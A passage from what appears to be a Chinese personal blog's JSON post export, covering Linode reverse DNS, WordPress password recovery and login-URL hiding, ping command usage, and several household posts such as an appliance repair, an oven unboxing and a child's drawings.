up」。\nStep 3\n如果您的 IPv4 與 IPv6 的 DNS 正解都有設定好的話，查詢出來就會出現 IPv4 與 IPv6 的紀錄，接著 Linode 就會詢問您是否要使用這個主機名稱當做反解，請點選「Yes」即可設定 DNS 反解。\nStep 4\n這樣就完成 DNS 反解的設定了，新的 DNS 反解設定完成後，要等待幾個小時到一天左右的時間才會完全生效。\n參考資料 Linode ","permalink":"https://blog.gtwang.org/web-hosting/linode-setting-reverse-dns-tutorial/","summary":"\u003cp\u003e這裡示範如何設定 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode VPS 虛擬專屬主機\u003c/a\u003e的 DNS 反解。\u003c/p\u003e\n\u003cp\u003e一般在架設網站時，除了要設定 DNS 正解之外，反解也最好一起設定，若忘記設定 DNS 反解，在某些情況下可能會有一些小問題，最常見的狀況就是在寄送 Email 時被外部的伺服器當成垃圾郵件伺服器，直接把信擋掉。\u003c/p\u003e","title":"Linode VPS 虛擬專屬主機新增 DNS PTR 反解記錄教學"},{"content":"這裡介紹各種重新設定 WordPress 網站登入密碼的方法。\n如果忘記了自己 WordPress 網站的登入密碼，可以透過 Email 的方式自動重新設定，但如果 Email 的方式行不通，也還有許多種其他的解決方式，以下介紹各種重設密碼的方式，請選擇自己比較喜歡的方法來使用。\nMySQL/MariaDB 指令重新設定密碼 Step 1\n在 Linux 命令列中，將新的密碼轉為 MD5 的雜湊（hash）字串：\necho \u0026#34;my_password\u0026#34; | tr -d \u0026#39;rn\u0026#39; | md5sum 這裡的 my_password 就是新的密碼，請替換為自己的新密碼，而經過 md5sum 計算之後，會產生類似這樣的雜湊字串：\na865a7e0ddbf35fa6f6a232e0893bea4 - 這一行輸出文字有兩個欄位，第一欄就是我們要的密碼雜湊字串，而第二欄則是檔案名稱（因為這裡是從標準輸入讀取資料的，所以檔名會以 - 表示）。請將這裡第一欄的密碼雜湊字串複製起來，後面會用到。 Step 2\n使用 root 管理者帳號（或是有權限寫入 WordPress 資料庫的帳號）登入 MySQL/MariaDB 資料庫：\nmysql -u root -p Step 3\n列出所有的資料庫，找出用於儲存 WordPress 網站資料的資料庫：\nshow databases; 找到自己 WordPress 網站用的資料庫之後，選擇之（這裡我的資料庫名稱為 blog）：\nuse blog; Step 4\n列出自己的資料表：\nshow tables; 尋找儲存使用者帳號的資料表，其名稱會以 users 結尾（這裡我的資料表為 wp_users）。\n接著把 ID、user_login、user_pass 這幾個欄位輸出來看一下：\nSELECT ID, user_login, user_pass from wp_users; +----+------------+------------------------------------+ | ID | user_login | user_pass | +----+------------+------------------------------------+ | 1 | gtwang | $P$qBpIvOiMyT1pm9vIPAs24tuyHs4KW91 | +----+------------+------------------------------------+ 這些就是目前 WordPress 網站上所有的帳號與密碼，請確認要重新設定密碼的帳號 ID，以這個例子來說我要重新設定 gtwang 這個帳號，其 ID 為 1。 Step 5\n將此帳號的密碼欄位設定為之前產生的 MD5 雜湊字串：\nUPDATE wp_users SET user_pass=\u0026#34;a865a7e0ddbf35fa6f6a232e0893bea4\u0026#34; WHERE ID = 1; 這樣就完成密碼的重設了，接著就可以開啟 WordPress 網頁，以新密碼登入。\n以 phpMyAdmin 重新設定密碼 如果您的網頁空間有提供 phpMyAdmin 的 MySQL 管理介面，也可以從 phpMyAdmin 中來修改 WordPress 使用者的密碼，修改原則跟指令的方式差不多。\nStep 1\n登入自己的 phpMyAdmin 管理介面之後，選擇儲存 WordPress 網站的資料庫，從中尋找使用者帳號的資料表（名稱以 users 結尾的資料表）。\n找到使用者資料表之後，從中尋找要重新設定密碼的帳號，接著點選「編輯」。\nStep 2\n修改 user_pass 這個儲存密碼的欄位，在「函數」的部分要選擇「MD5」，然後在值的部分填入自己設定的新密碼。\nStep 3\n點選「執行」。\n這樣就完成密碼的重新設定了。\n透過 FTP 重新設定密碼 Step 1\n以 FTP 連線軟體（例如 FileZilla）連線至 WordPress 網站的網頁空間，將目前佈景主題的 functions.php 抓下來，然後在這個 PHP 檔案中加入一行：\nwp_set_password(\u0026#39;my_password\u0026#39;, 1); wp_set_password 第一個參數是新的密碼，而第二個參數則是使用者的 ID。 修改好之後，再將這個檔案放回原來的地方，把舊的檔案蓋掉。 Step 2\n以新密碼登入 WordPress 網站。\nStep 3\n復原 functions.php，移除剛剛加上去的 wp_set_password。\n使用 WP-CLI 重新設定密碼 WP-CLI 是一個指令介面的 WordPress 管理工具，我們可以用 WP-CLI 來重新設定使用者的密碼。\n列出所有 WordPress 網站中的使用者帳號：\nwp user list +----+------------+--------------+------------------------+---------------------+---------------+ | ID | user_login | display_name | user_email | user_registered | roles | +----+------------+--------------+------------------------+---------------------+---------------+ | 1 | gtwang | G. T. Wang | guozhao.wang@gmail.com | 2015-03-05 18:21:38 | administrator | +----+------------+--------------+------------------------+---------------------+---------------+ 重新設定使用者密碼：\nwp user update 1 --user_pass=\u0026#34;my_password\u0026#34; 這是個指令會將 ID 為 1 的使用者密碼改為 my_password。\n參考資料 WordPress WordPress Developer Resources Tecmint ","permalink":"https://blog.gtwang.org/wordpress/wordpress-resetting-password-tutorial/","summary":"\u003cp\u003e這裡介紹各種重新設定 WordPress 網站登入密碼的方法。\u003c/p\u003e\n\u003cp\u003e如果忘記了自己 WordPress 網站的登入密碼，可以透過 Email 的方式自動重新設定，但如果 Email 的方式行不通，也還有許多種其他的解決方式，以下介紹各種重設密碼的方式，請選擇自己比較喜歡的方法來使用。\u003c/p\u003e","title":"WordPress 網站忘記登入密碼？重新設定密碼教學"},{"content":"這裡介紹如何更改 WordPress 網站預設的登入網址，避免網路駭客的攻擊或入侵。\n全世界使用 WordPress 架設的網站非常多，因此網路上也有很多駭客就專挑 WordPress 的網站進行攻擊，最常見的手法就是以暴力攻擊法（brute force）嘗試破解 WordPress 登入的帳號與密碼，這類的攻擊非常惱人，它會不斷的嘗試以各種帳號密碼組合來登入，不僅造成伺服器額外的負擔，也讓伺服器的紀錄檔充斥大量的登入失敗紀錄。\n由於每個 WordPress 網站的登入網址都是一樣的（網址加上 wp-login.php），所以只要網站上線、開始有流量之後，就難免會遭受到攻擊，當然我們可以將自己的登入密碼設定複雜一些，避免一下子就被駭客猜出自己的密碼，不過老是都會有人不斷的在嘗試破解自己的網站，看起來就不是非常舒服。\n如果您的 WordPress 網站是屬於個人使用的網站（例如個人部落格），只有自己或是很少量的使用者需要登入的話，其實就可以將登入的網址更改一下，馬上就可以把暴力攻擊法亂嘗試帳號密碼的問題避免掉，讓網站更安全。\n若要更改 WordPress 網站的登入網址，可以使用 WPS Hide Login 這個小巧好用的外掛工具，它可以讓使用者自由設定登入的網址，並停用原本預設的登入網址，功能簡單但很實用。\n名稱：WPS Hide Login\n網址：WordPress\n安裝完後，在 WordPress 的設定頁面中就會多出一個自訂登入網址的功能，只要輸入自己想要的網址，再按下「儲存變更」即可。\n在啟用 VPS Hide Login 外掛之後，原本預設的登入頁面就會顯示「This has been disabled」，防止外面的駭客嘗試登入網站。\n而自己要登入的話，就輸入自己設定的登入網址，就會出現登入畫面了。\n對於比較重要的 WordPress 網站，建議可以將登入網址設定複雜一些（英文加數字等），它的效果就好像另外一組密碼一樣，不知道登入網址的話就無法登入，而如果怕自己忘記登入網址的話，可以在設定完成之後，把自訂的登入網址加入書籤，這樣既方便又安全。\n","permalink":"https://blog.gtwang.org/wordpress/wordpress-wps-hide-login-plugin-tutorial/","summary":"\u003cp\u003e這裡介紹如何更改 WordPress 網站預設的登入網址，避免網路駭客的攻擊或入侵。\u003c/p\u003e\n\u003cp\u003e全世界使用 WordPress 架設的網站非常多，因此網路上也有很多駭客就專挑 WordPress 的網站進行攻擊，最常見的手法就是以暴力攻擊法（brute force）嘗試破解 WordPress 登入的帳號與密碼，這類的攻擊非常惱人，它會不斷的嘗試以各種帳號密碼組合來登入，不僅造成伺服器額外的負擔，也讓伺服器的紀錄檔充斥大量的登入失敗紀錄。\u003c/p\u003e","title":"WordPress 網站隱藏登入網址教學，防止駭客攻擊與入侵"},{"content":"本篇是我將壞掉的收藏家 PC-69 電子防潮箱除濕心臟郵寄送修的紀錄。\n最近發現之前買的收藏家 PC-69 電子防潮箱的濕度怪怪的，一直維持在 60% 上下，原本以為是濕度尚未達到平衡，不過放了好幾天還是一樣，所以決定送修。\n收藏家的防潮箱除濕心臟都有五年的保固，如果五年內出了問題，都可以直接寄回去維修，不需要額外收費，而且維修速度很快，我從開始詢問客服、拆卸與寄送除濕主機，一直到維修完成後送回到手上，只花了一個禮拜就全搞定了，我個人感覺很滿意，以下是整個送修的過程。\n這台就是出問題的收藏家電子防潮箱，平常都是放在辦公桌下，很少搬動，裡面都是放一些單眼相機與鏡頭。\n由於收藏家除濕心臟有五年保固，想說應該不容易壞，可能會出問題的應該是濕度計。\n但是後來我用另外一個電子式的濕度計量出來的濕度也是一樣，看起來是真的沒在除濕。\n我的防潮箱裡面放的都是單眼相機與鏡頭，沒除濕可不得了，當下馬上詢問收藏家的客服如何送修，以下是客服人員的回信。\n客服的回答是請我將異常的除濕主機拆下來，寄回去維修中心進行檢測，拆卸的方法很單純，就是把外面這四個螺絲轉開就可以拆下來了。\n這是拆卸下來的除濕主機。\n客服人員同時也建議我將濕度計一起拆下來，寄回去檢查看看，濕度計從門上直接拔下來就可以了。\n將除濕主機與濕度計用泡泡袋包一下，裝箱之後，還要記得放入自己的聯絡資訊以及問題說明，再寄回去就可以了（我是用黑貓宅配）。\n過了幾天之後，我收到來自於收藏家客服人員回信，經過檢測之後確定是除濕主機出了問題，已經維修好並且測試過了，馬上就會寄回來，因為還在保固期內，所以不用收費，感覺客服人員服務很不錯，維修速度也非常快。\n原本以為維修可能會需要保證書，但因為我當初是在網路上買的，保證書上面也沒有填購買日期，而發票早就不見了，還好送修的時候不需要看保證書。\n隔天我就收到維修好的除濕主機了。\n除濕主機與濕度計都包裝的很好，還很貼心的附上了新的螺絲，應該是怕我們把螺絲搞丟裝不回去。\n這是維修好的除濕主機。\n接著就把除濕主機裝回原本的位置，再鎖上四個螺絲就完成了。\n裝上修好的除濕主機，過了大概七、八個小時之後，濕度就下降為 30% 左右，防潮箱終於又可以正常使用了。\n電子式的濕度計似乎比較沒有那麼準確（也可能是反應比較慢），不過也下降了不少。\n隔兩天再來看防潮箱的濕度時，已經降到 15% 左右，這樣就不用擔心單眼相機與鏡頭的存放問題了。\n電子式的濕度計也下降至 15%。\n我的防潮箱是專門用來放單眼相機與鏡頭的，所以當防潮箱出問題時，最重要的問題就是盡快修好，以免相機與鏡頭出問題，防潮箱的維修費或運費比起相機與鏡頭來說根本不算什麼，能快速修好才是重點，經過這次的送修過程，以後就比較不會擔心不知道如何送修了，未來若要採買防潮箱時，我個人也會優先考慮收藏家的防潮箱。\n","permalink":"https://blog.gtwang.org/life/repair-drytech-elecotronic-dry-cabinet-2017/","summary":"\u003cp\u003e本篇是我將壞掉的收藏家 PC-69 電子防潮箱除濕心臟郵寄送修的紀錄。\u003c/p\u003e\n\u003cp\u003e最近發現之前買的\u003ca href=\"/unboxing/drytech-pc-69-elecotronic-dry-cabinett/\"\u003e收藏家 PC-69 電子防潮箱\u003c/a\u003e的濕度怪怪的，一直維持在 60% 上下，原本以為是濕度尚未達到平衡，不過放了好幾天還是一樣，所以決定送修。\u003c/p\u003e","title":"收藏家電子防潮箱除濕主機送修紀錄"},{"content":"這些是阿玄最近在家畫的塗鴉畫。\n最近我們家買了一台國際牌的烤箱，所以阿玄就畫了這兩張有烤箱料理的塗鴉。\n以下是一些阿玄自己做的小冊子。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-201705/","summary":"\u003cp\u003e這些是阿玄最近在家畫的塗鴉畫。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-13.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e最近我們家買了一台\u003ca href=\"/unboxing/panasonic-nb-h3200-electric-oven-32liter/\"\u003e國際牌的烤箱\u003c/a\u003e，所以阿玄就畫了這兩張有烤箱料理的塗鴉。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"烤箱\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-14.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"烤箱\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-15.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-16.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"正面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-17.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"背面（封面）\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-18.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"正面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-19.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"背面（封面）\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-20.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e以下是一些阿玄自己做的小冊子。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-21.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子封面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第一頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第二頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第三頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子封面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-05.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第一頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-06.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第二頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-07.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第三頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-08.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子封面\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-09.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第一頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-10.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第二頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-11.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"小冊子第三頁\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-201705-12.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-20171128-6.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-20171128-9.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-20171128-10.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-20171128-11.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-20171128-12.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"阿玄的塗鴉畫\" loading=\"lazy\" src=\"/personal/qixuan-drawing-201705/qixuan-drawing-20171128-13.jpg\"\u003e\u003c/p\u003e","title":"阿玄的塗鴉畫 2017 年 5 月"},{"content":"本篇是國際牌 Panasonic NB-H3200 32 公升電烤箱的開箱文，主要特色有上下火獨立溫控、360 度旋轉烤杈、熱風對流與發酵箱等。\n最近每天都吃自己做的素鮪魚三明治，但因為沒有烤箱，吐司沒辦法烤，再加上我也很喜歡自己做披薩來吃，所以就打算來買一台烤箱。\n上網看了一下大家推薦的烤箱，發現國際牌的這款評價不錯，價格也不貴，所以就從 PChome 線上購物網站上面直接買了，價格是 3,280 元。\n從 PChome 24 小時購物上面買的東西，隔天就可以收到貨了，因為好大一箱，所以我是等到週末有空才搬回家開箱。\n打開外箱。\n因為這台 NB-H3200 電烤箱的體積比較大，要從箱子裡拿出來也要花一番功夫。\n這一台國際牌 NB-H3200 電烤箱的容量是 32 公升，上火與下火的溫度可以獨立控制，有 360 度旋轉烤杈與熱風對流，還可以當作發酵箱使用。\n這是烤箱的正面，右方有四個控制旋鈕。\n最下方的旋鈕是計時器，可以設定烘烤時間。\n下面數來第二個旋鈕是下火的溫度控制器，最高可調到 230 度。\n下方數來第三個旋鈕是功能切換開關，可以調整烘烤模式，包含發酵、自動旋轉燒烤、3D 熱風對流與上下火開關。\n最上方的旋鈕則是上火的溫度控制器。\n烤箱正面下方有簡易的烘烤指南，初學者可以參考。\n這些是烤箱的配件。\n烤箱配件包含烤盤、烤網、取物支架、取盤夾、旋轉烤叉。\n這是烤箱側面的散熱孔。\n另外一側也差不多。\n這是烤箱的背面。\n烤門有好幾段的設計，方便半開檢查裡面食物的狀況。\n這是烤門全開的樣子。\n這個烤箱容量有 32 公升，我還是第一次買這麼大的烤箱。\n烤箱內部有一個循環風扇，是要產生熱風對流用的。\n這是爐內的耐高溫照明，照片又下方的那個孔是用來插旋轉烤叉用的，不過我是素食者，可能比較少會用到那個。\n這是我把烤盤與烤網都放進去的樣子。\n這是烤箱底部的集屑盤，使用完烤箱之後可以出抽出來清洗。\n這台電烤箱的消耗電功率是 1,500 瓦。\n以上就是國際牌 Panasonic NB-H3200 電烤箱的簡單開箱文。\n第一次使用烤箱之前要先空燒一次，大約燒個十分鐘，烤門保持開啟讓異味散出，不過這台烤箱似乎沒什麼味道。\n","permalink":"https://blog.gtwang.org/unboxing/panasonic-nb-h3200-electric-oven-32liter/","summary":"\u003cp\u003e本篇是國際牌 Panasonic NB-H3200 32 公升電烤箱的開箱文，主要特色有上下火獨立溫控、360 度旋轉烤杈、熱風對流與發酵箱等。\u003c/p\u003e\n\u003cp\u003e最近每天都吃\u003ca href=\"/life/diy-vegetarian-tuna-sandwich-20170515/\"\u003e自己做的素鮪魚三明治\u003c/a\u003e，但因為沒有烤箱，吐司沒辦法烤，再加上我也很喜歡自己做披薩來吃，所以就打算來買一台烤箱。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e上網看了一下大家推薦的烤箱，發現國際牌的這款評價不錯，價格也不貴，所以就從 PChome 線上購物網站上面直接買了，價格是 3,280 元。\u003c/p\u003e","title":"[開箱] 國際牌 Panasonic NB-H3200 炫銀灰 32 公升電烤箱"},{"content":"本篇記錄我請玻璃行訂製客廳茶几用的強化玻璃墊。\n上禮拜買了一組實木的木組椅，而當時在傢俱行選購時，忘了請玻璃行一起訂製茶几用的玻璃墊，後來才請玻璃行老闆來家裡丈量茶几的尺寸，所以玻璃墊又等了一週才放上去。\n其實最好的做法應該是在選購傢俱時就一起訂製玻璃墊，讓整組茶几連同玻璃墊一起送來家裡，避免茶几送到家裡之後，桌面還沒放上玻璃墊就被刮傷了，尤其是家裡有小朋友的人特別容易這樣，我們家阿玄前兩天就在大茶几上面畫水彩畫，還好水彩擦掉以後沒有留下痕跡。\n放玻璃墊之前，會先在桌上的幾的角落貼上幾個軟墊。\n接著再把玻璃墊放上去。\n老闆在調整玻璃墊的位置，阿玄很好奇在看。\n另外一個小茶几也是一樣，貼上軟墊之後再放上玻璃墊。\n茶几放上玻璃墊，終於可以開放使用了。\n我們訂製的這兩片玻璃墊是 8mm 的強化玻璃，外加光邊處理，總共是 2,500 元。我們訂的這兩片玻璃因為有光邊處理，所以比較貴一點，如果不需要光邊的話，只要一千多（詳細數字我忘了）。\n玻璃墊上有打上強化玻璃（tempered glass）的標誌。\n玻璃的光邊處理就是把玻璃的側邊磨光，讓它看起來會反光，比較漂亮，光邊處理的工錢不便宜，不過看起來是漂亮很多。\n","permalink":"https://blog.gtwang.org/life/tempered-glass-for-coffee-table-20170522/","summary":"\u003cp\u003e本篇記錄我請玻璃行訂製客廳茶几用的強化玻璃墊。\u003c/p\u003e\n\u003cp\u003e上禮拜買了一組\u003ca href=\"/life/solid-wood-coffee-table-20170515/\"\u003e實木的木組椅\u003c/a\u003e，而當時在傢俱行選購時，忘了請玻璃行一起訂製茶几用的玻璃墊，後來才請玻璃行老闆來家裡丈量茶几的尺寸，所以玻璃墊又等了一週才放上去。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e其實最好的做法應該是在選購傢俱時就一起訂製玻璃墊，讓整組茶几連同玻璃墊一起送來家裡，避免茶几送到家裡之後，桌面還沒放上玻璃墊就被刮傷了，尤其是家裡有小朋友的人特別容易這樣，我們家阿玄前兩天就在大茶几上面畫水彩畫，還好水彩擦掉以後沒有留下痕跡。\u003c/p\u003e","title":"購買大小茶几用的強化玻璃墊"},{"content":"本篇介紹如何使用玉山銀行的網路銀行，在家上網繳納停車費，不用出門即可繳費，帳單不見了也沒關係。\n開車出門若把車停在路邊的收費停車格，事後都會收到一張停車費用的繳費單，我們之前介紹過全國繳費網的停車費繳納教學，雖然不用出門，但是還是要插讀卡機與金融卡，對我來說還是有點麻煩。\n最近突然發現我常用的玉山網路銀行本身就有提供各縣市的停車費繳納功能，不需要金融卡即可繳納，繳費步驟也更簡單，比全國繳費網還方便，以下是在玉山網路銀行繳停車費的步驟。 Step 1\n在主選單中，選擇「繳費繳稅」分類中的「交通費」，然後依照停車費所隸屬的縣市選擇繳納停車費用。\nStep 2\n查詢停車費用，選擇車輛種類，並輸入車牌號碼，點選「下一步」。\nStep 3\n輸入繳款資訊，選擇要繳納的項目，並選擇要從哪一個帳戶扣款，點選「下一步」。\nStep 4\n確認繳款資訊，輸入認證碼，點選「確認」。\nStep 5\n這樣就完成停車費的繳納了，非常快速又方便。\n","permalink":"https://blog.gtwang.org/life/esunbank-pay-parking-fees-online/","summary":"\u003cp\u003e本篇介紹如何使用玉山銀行的網路銀行，在家上網繳納停車費，不用出門即可繳費，帳單不見了也沒關係。\u003c/p\u003e\n\u003cp\u003e開車出門若把車停在路邊的收費停車格，事後都會收到一張停車費用的繳費單，我們之前介紹過\u003ca href=\"/life/ebill-pay-parking-fees-online/\"\u003e全國繳費網的停車費繳納教學\u003c/a\u003e，雖然不用出門，但是還是要插讀卡機與金融卡，對我來說還是有點麻煩。\u003c/p\u003e","title":"玉山銀行網路繳納停車費教學，不用出門、帳單不見也可以繳費"},{"content":"這裡介紹 Windows 與 Linux 系統中的 ping 指令用法，以及各種實用的網路檢測範例。\nping 這個指令是一個最常用的網路檢測工具，它可以藉由發送 ICMP ECHO_REQUEST 的封包，檢查自己與特定設備之間的網路是否暢通，並同時測量網路連線的來回通訊延遲時間（round-trip delay time），通常如果網路出問題時，我們都會使用 ping 這個指令來做初步的檢查。\n除了檢測網路是否正常之外，ping 也可以與 arp 指令配合，掃瞄區域網路設備，產生 IP 與 MAC 卡號對應表。\nWindows 在 Windows 中若要使用 ping 檢查網路，只要打開「命令提示字元」後輸入 ping 的指令加上主機的位址即可使用，若不加任何額外參數的話，ping 預設會送出 4 個 ICMP ECHO_REQUEST 封包，並統計測試結果。\nping blog.gtwang.org 以這個例子來說，我們檢查本機連線至 blog.gtwang.org 的網路情況，正常了收到 4 個 ICMP ECHO_RESPONSE 回應，來回通訊延遲時間分別為 60ms、61ms、60ms 與 69ms， 最後 ping 會算出基本的統計資料，包含已傳送封包數、已收到封包數、遺失封包數，還有來回通訊延遲時間的最大值、最小值與平均值。\n以正常的網路狀況來說，應該所有送出的 ICMP 封包都要收到才對，也就是沒有遺失任何封包，而且來回通訊延遲時間應該都要很穩定維持在一定的數值，如果發現來回通訊延遲時間亂跳，就表示網路品值不太好，通訊不是很順，更嚴重一點甚至會出現封包遺失的的情況，最差的情況就是完全斷線，沒有任何回應。\n指定 ICMP 封包數 如果覺得 4 個 ICMP 封包太少，可以使用 -n 參數指定封包數，例如發送 10 個 ICMP 封包：\nping -n 10 blog.gtwang.org 持續不斷 Ping 主機 有時候在測試與檢修網路時，我們需要持續監看網路是否正常，這時候可以加上 -t 參數，讓 ping 持續不斷的 ping 特定主機，直到手動按下 Ctrl + c 為止：\nping -t blog.gtwang.org 這個狀況其實很常會遇到，在網路不通時我們會檢查各種可能出問題的地方，例如防火牆是否有設定錯誤、網路卡是否正常、網路線是否脫落、路由器是否當機等等，在檢查與修正之前我們通常會先執行這種持續性的 ping 指令（通常這時候是沒有回應的），然後才進行各種嘗試，直到 ping 的結果出現回應為止。\nIPv4 與 IPv6 如果要針對測試 IPv4 的位址進行測試，可以使用 -4 參數：\nping -4 blog.gtwang.org 而若要測試 IPv6 的位址，則可使用 -6 參數：\nping -6 blog.gtwang.org 查詢 IP 位址反解 加上 -a 參數時，可以讓 ping 自動查詢 IP 位址的 DNS 反解名稱。\nping -a 45.118.135.69 指定封包大小 ping 預設發出的 ICMP ECHO_REQUEST 封包大小是 32 位元組，我們可以透過 -l 參數自行指定大小：\nping -l 800 blog.gtwang.org 禁止切割封包 在某些網路中，太大的封包會被切割成多個小封包後再傳送，若要禁止封包被分割，可以加上 -f 參數，通常會配合 -l 參數一起使用：\nping -l 1200 -f blog.gtwang.org 其他進階參數 若要查詢 ping 其他更進階的參數，可以使用 -h 來查詢：\nping -h Linux 與 Mac OS X Linux 與 Mac OS X 中的 ping 指令用法與 Windows 有些小差異，比較明顯的不同就是直接執行 ping 時，它會持續不斷的每秒 ping 一次指定的設備，直到按下 Ctrl + c 終止為止：\nping blog.gtwang.org 不同系統的 ping 輸出格式也有些出入，不過呈現的內容都是一樣的。\n指定 Ping 次數 若要指定發送的 ICMP ECHO_REQUEST 封包數，可以使用 -c 參數，例如仿照 Windows 下預設的方式，發出 4 個 ICMP ECHO_REQUEST 封包後就停止：\nping -c 4 blog.gtwang.org 輸出為：\nPING linode01.gtwang.org (45.118.135.69) 56(84) bytes of data. 64 bytes from linode01.gtwang.org (45.118.135.69): icmp_seq=1 ttl=64 time=0.035 ms 64 bytes from linode01.gtwang.org (45.118.135.69): icmp_seq=2 ttl=64 time=0.090 ms 64 bytes from linode01.gtwang.org (45.118.135.69): icmp_seq=3 ttl=64 time=0.051 ms 64 bytes from linode01.gtwang.org (45.118.135.69): icmp_seq=4 ttl=64 time=0.075 ms --- linode01.gtwang.org ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3039ms rtt min/avg/max/mdev = 0.035/0.062/0.090/0.023 ms 以聲音輸出結果 有時候在處理網路聽時，可能沒空一直盯著 ping 輸出看，這時候可以使用聲音的方式輸出結果，加上 -a 參數之後，ping 會在收到回應封包時，讓電腦的喇叭發出聲響：\nping -a blog.gtwang.org 若加上 -A 參數的話，則是會在封包遺失時發出聲響：\nping -A blog.gtwang.org 封包送出間隔時間 ping 預設是每秒送出一個 ICMP ECHO_REQUEST 封包，若要改變封包送出的間隔時間，可以使用 -i 參數指定：\nping -i 0.4 blog.gtwang.org 這樣就會每隔 0.4 秒送出一個 ICMP ECHO_REQUEST 封包。\n指定網路介面 如果一台電腦有兩個以上的網路介面（例如多張網路卡），我們可以使用 -I 參數指定要測試的網路介面：\nping -I eth0 blog.gtwang.org 另外也可以使用 IP 位址來指定：\nping -I 45.118.135.69 blog.gtwang.org 指定封包大小 我們可以透過 -s 參數自行指定 ICMP 封包的大小：\nping -s 800 blog.gtwang.org 禁止切割封包 若要禁止封包被分割，在 Linux 中可以使用 -M 參數：\nping -s 800 -M dont 